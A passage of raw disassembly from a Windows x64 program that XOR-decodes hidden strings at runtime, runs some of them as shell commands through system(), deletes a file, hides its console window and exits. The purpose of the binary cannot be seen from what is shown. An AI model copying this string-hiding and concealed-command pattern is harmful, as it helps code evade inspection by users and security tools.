lea rdx, [rbp + 0x18d0]
lea rcx, [rbp + 0xf70]
call fcn.14000c9c0
mov rbx, rax
lea rdx, [rbp + 0x18f0]
lea rcx, [rbp + 0xf50]
call fcn.14000c9c0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1401229b0]
call fcn.140090dc0
cmp byte [0x140122bc0], 0
jne 0x140069168
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb4a541fb437f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x190], rax
movabs rax, 0x81991736151fa32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20e8], rax
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rbp + 0x20e0]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [rbp + 0x190]
call fcn.140072a90
mov rcx, rax
lea rdx, [0x140122bc8]
call fcn.140072c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20d8], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x20d0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa2b356ef640c5e6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa40], rax
movabs rax, 0x2860fd1f1437a97b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa48], rax
movabs rax, 0x7ee90ce1c0b9abe0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa50], rax
movabs rax, 0xd33f1504509b3a01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa58], rax
movabs rax, 0x3166153ebea52e5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa60], rax
movabs rdx, 0xc9fc8df76013421c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xa68], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x21a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x21a8], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21b0], rax
movabs rax, 0xbc73357d3cf75b62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21b8], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x21c0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x21c8], rax
vmovdqu ymm0, ymmword [rbp + 0xa40]
vpxor ymm1, ymm0, ymmword [rbp + 0x21a0]
vmovdqa ymmword [rbp + 0xa40], ymm1
vmovdqa xmm0, xmmword [rbp + 0xa60]
vxorps xmm0, xmm0, xmmword [rbp + 0x21c0]
vmovdqa xmmword [rbp + 0xa60], xmm0
lea rdx, [rbp + 0xa40]
vzeroupper
call fcn.140072a90
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x18d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x18f0]
jmp 0x140069cef
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1570]
call fcn.14000ce40
lea rcx, [rbp + 0x1570]
call fcn.14000cb30
nop
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1550]
call fcn.14000ce40
lea rcx, [rbp + 0x1550]
call fcn.14000cb30
nop
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1350]
call fcn.14000ce40
lea rcx, [rbp + 0x1350]
call fcn.14000cb30
nop
movabs rax, 0xc7e215e858403b04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20c8], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0x20c0]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xe7a250ee5969746d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x327ce21d0432b364
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x179d6d8cafcdde81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2640], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2648], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2650], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2658], rax
vmovdqu ymm0, ymmword [rbp + 0x4c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2640]
vmovdqa ymmword [rbp + 0x4c0], ymm1
lea rdx, [rbp + 0x4c0]
vzeroupper
call fcn.140072a90
lea rdx, [rbp + 0x1350]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140072cc0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xe9fe41f3567b746d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x81991736151fa26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20b8], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x20b0]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
call fcn.140072a90
lea rdx, [rbp + 0x1350]
lea rcx, [rbp + 0x1030]
call fcn.14000c9c0
mov rdx, rax
lea rcx, [0x1401229b0]
call fcn.14008f870
cmp byte [0x140122bc0], 0
jne 0x140069641
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb4a541fb437f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x81991736151fa32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20a0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20a8], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x20a0]
movdqa xmmword [rbp + 0x1d0], xmm0
lea rdx, [rbp + 0x1d0]
call fcn.140072a90
mov rcx, rax
lea rdx, [0x140122bc8]
call fcn.140072c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x1570]
call fcn.14006f730
movabs rdi, 0xc7d0359a375f3804
test al, al
jne 0x14006999b
lea rcx, [rbp + 0x1550]
call fcn.14006f730
test al, al
jne 0x14006999b
lea rax, [rbp + 0x11f0]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x1550]
lea rcx, [rbp + 0x11f0]
call fcn.14000c9c0
mov r14, rax
lea rax, [rbp + 0xcd0]
mov qword [rbp + 0x308], rax
movabs rax, 0xa3a25aed445f3517
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1e0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1e8], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2090], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2098], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x2090]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xcd0]
call fcn.14000c980
mov rsi, rax
lea rax, [rbp + 0xcf0]
mov qword [rbp + 0x310], rax
lea rdx, [rbp + 0x1570]
lea rcx, [rbp + 0xcf0]
call fcn.14000c9c0
mov rdi, rax
lea rax, [rbp + 0xd10]
mov qword [rbp + 0x30], rax
movabs rbx, 0xa2bd54f445492712
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2080], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2088], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x2080]
movdqa xmmword [rbp + 0x1f0], xmm0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xd10]
call fcn.14000c980
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x11d0]
call fcn.14000c9c0
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9b, 1
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140065cc0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa1a346ff544f2134
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0x6d6bd253183db67d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x7bf42baccba8aac0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0xc932150f53b17b07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0x55613b7196e0264f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xbc9fe2b34067233c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0x38e417435f91ce18
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rbx, 0x9b8ab614f9a60e6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2760], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2768], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2770], rax
movabs rax, 0xbc73357d3cf75b62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2778], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2780], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2788], rax
movabs rax, 0x38e417302bffab75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2790], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2798], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2760]
vmovdqa ymmword [rbp + 0x7c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2780]
vmovdqa ymmword [rbp + 0x7e0], ymm1
lea rdx, [rbp + 0x7c0]
jmp 0x140069cc1
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2070], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2078], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x2070]
movdqa xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp + 0xd30]
mov qword [rbp + 0x30], rax
lea rdx, [0x1400f981a]
lea rcx, [rbp + 0xd30]
call fcn.14000c980
mov r14, rax
lea rax, [rbp + 0xd50]
mov qword [rbp + 0x310], rax
lea rdx, [0x1400f981a]
lea rcx, [rbp + 0xd50]
call fcn.14000c980
mov rsi, rax
lea rax, [rbp + 0xd70]
mov qword [rbp + 0x308], rax
lea rdx, [rbp + 0x1350]
lea rcx, [rbp + 0xd70]
call fcn.14000c9c0
mov rdi, rax
lea rax, [rbp + 0xd90]
mov qword [rbp + 0x18], rax
movabs rax, 0xc7b546f4524f3d0b
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x210], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x218], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2060], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2068], rax
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x2060]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xd90]
call fcn.14000c980
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0xdb0]
call fcn.14000c9c0
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140065cc0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa1a346ff544f2134
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0x6d6bd253183db67d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0x7bf42baccba8aac0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rax, 0xc932150f53b17b07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0x55613b7196e0264f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0xbc9fe2b34067233c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0x38e417435f91ce18
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rdx, 0x9b8ab614f9a60e6
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x27a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x27a8], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27b0], rax
movabs rax, 0xbc73357d3cf75b62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27b8], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27c0], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27c8], rax
movabs rax, 0x38e417302bffab75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x27d0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x27d8], rax
vmovdqu ymm0, ymmword [rbp + 0x840]
vpxor ymm1, ymm0, ymmword [rbp + 0x27a0]
vmovdqa ymmword [rbp + 0x840], ymm1
vmovdqu ymm0, ymmword [rbp + 0x860]
vpxor ymm1, ymm0, ymmword [rbp + 0x27c0]
vmovdqa ymmword [rbp + 0x860], ymm1
lea rdx, [rbp + 0x840]
vzeroupper
call fcn.140072a90
nop
lea rcx, [rbp + 0x1350]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1550]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1570]
mov r14, qword [rbp + 8]
call fcn.14000c850
call fcn.14000c8b0
movabs rax, 0xa5b146f551422708
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x6e7bf0000f37b360
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x179d6d8cafbeb7c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rsi, 0xbc73357d3cf75b62
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x26a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x26a8], rax
movabs rbx, 0x179d6d8cafcddea1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x26b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x26b8], rax
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x26a0]
vmovdqa ymmword [rbp + 0x4a0], ymm1
lea rdx, [rbp + 0x4a0]
lea rcx, [0x1401228c8]
vzeroupper
call fcn.140072750
test al, al
je 0x14006cc20
movabs rax, 0xa6a352f3535f360f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0x716df6150528af61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0x17af5bfec9a9abc0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2940], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2948], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2950], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2958], rax
vmovdqu ymm0, ymmword [rbp + 0x480]
vpxor ymm1, ymm0, ymmword [rbp + 0x2940]
vmovdqa ymmword [rbp + 0x480], ymm1
lea rdx, [rbp + 0x480]
lea rcx, [0x140122928]
vzeroupper
call fcn.140072750
test al, al
je 0x14006cc20
call fcn.14000c8b0
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14000c8b0
mov edx, 0x78
lea rcx, [rbp + 0x1ba0]
call fcn.14006cf60
lea rcx, [rbp + 0x1ba0]
call fcn.14006d980
nop
lea r8, [rbp + 0x1850]
lea rdx, [rbp + 0x1830]
lea rcx, [rbp + 0x1ba0]
call fcn.14006d860
nop
lea r8, [rbp + 0x19d0]
lea rdx, [rbp + 0x19b0]
lea rcx, [rbp + 0x1ba0]
call fcn.14006d860
nop
movabs rax, 0xfda345ee43447445
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a0], rax
movabs rax, 0x617ebf040023f527
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a8], rax
movabs rax, 0x65f81ef9cdb8b6d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b0], rax
movabs rax, 0x92075b1848993401
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b8], rax
movabs rax, 0x14706e7ff5ad2658
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9c0], rax
movabs rax, 0xb991f8934d21317f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9c8], rax
movabs rax, 0x178a7e5146d0d910
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9d0], rax
movabs rax, 0x6cccca132af40581
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9d8], rax
movabs rax, 0x7bfbe5345494bd4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e0], rax
movabs rax, 0xf25557bbfd548b43
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x23a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x23a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x23b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x23b8], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x23c0], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x23c8], rax
movabs rax, 0x38e417302bffab75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x23d0], rax
movabs rax, 0x9b8ab614f9a60e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x23d8], rax
movabs rdi, 0xf9e965232fb922f
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x23e0], rax
movabs rbx, 0xf25557cb8d3ca530
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x23e8], rax
vmovdqu ymm0, ymmword [rbp + 0x9a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x23a0]
vmovdqa ymmword [rbp + 0x9a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x9c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x23c0]
vmovdqa ymmword [rbp + 0x9c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x9e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x23e0]
vmovdqa xmmword [rbp + 0x9e0], xmm0
movabs rax, 0xe78018ba43493310
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x81991736151da2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2050], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2058], rax
vmovdqa xmm0, xmmword [rbp + 0x220]
vxorps xmm0, xmm0, xmmword [rbp + 0x2050]
vmovdqa xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0x1830]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0xdd0]
vzeroupper
call fcn.1400616c0
nop
lea r8, [rbp + 0x9a0]
mov rdx, rax
lea rcx, [rbp + 0x19f0]
call fcn.14000cca0
nop
lea rcx, [rbp + 0xdd0]
call fcn.14000c850
movabs rax, 0xe8ea46ea43583c47
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0x7c70f65d1630a827
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0x74ef08ffdaafabc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0xdf5d41135983350d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
movabs rax, 0x5827242cbbef2454
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0xac8ce082043e706f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0x5fcb79594a928407
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
movabs rax, 0x6ddddf003dff0e83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
movabs rax, 0x7ceaf321549dfd00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0xf25557cbfd4ccd1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2400], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2408], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2410], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2418], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2420], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2428], rax
movabs rax, 0x38e417302bffab75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2430], rax
movabs rax, 0x9b8ab614f9a60e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2438], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2440], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2448], rax
vmovdqu ymm0, ymmword [rbp + 0x940]
vpxor ymm1, ymm0, ymmword [rbp + 0x2400]
vmovdqa ymmword [rbp + 0x940], ymm1
vmovdqu ymm0, ymmword [rbp + 0x960]
vpxor ymm1, ymm0, ymmword [rbp + 0x2420]
vmovdqa ymmword [rbp + 0x960], ymm1
vmovdqa xmm0, xmmword [rbp + 0x980]
vxorps xmm0, xmm0, xmmword [rbp + 0x2440]
vmovdqa xmmword [rbp + 0x980], xmm0
movabs rax, 0xb4a450e9514a3b3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x81991731121b226
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2040], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2048], rax
vmovdqa xmm0, xmmword [rbp + 0x240]
vxorps xmm0, xmm0, xmmword [rbp + 0x2040]
vmovdqa xmmword [rbp + 0x240], xmm0
movabs rax, 0xe7bf18ba5b5e2104
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2030], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2038], rax
vmovdqa xmm0, xmmword [rbp + 0x230]
vxorps xmm0, xmm0, xmmword [rbp + 0x2030]
vmovdqa xmmword [rbp + 0x230], xmm0
lea r8, [rbp + 0x1830]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xe10]
vzeroupper
call fcn.1400616c0
nop
lea r8, [rbp + 0x240]
mov rdx, rax
lea rcx, [rbp + 0xdf0]
call fcn.14000cca0
nop
lea r8, [rbp + 0x940]
mov rdx, rax
lea rcx, [rbp + 0x1990]
call fcn.14000cca0
nop
lea rcx, [rbp + 0xdf0]
call fcn.14000c850
nop
lea rcx, [rbp + 0xe10]
call fcn.14000c850
movabs rax, 0xc7d0359a17403103
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], r12
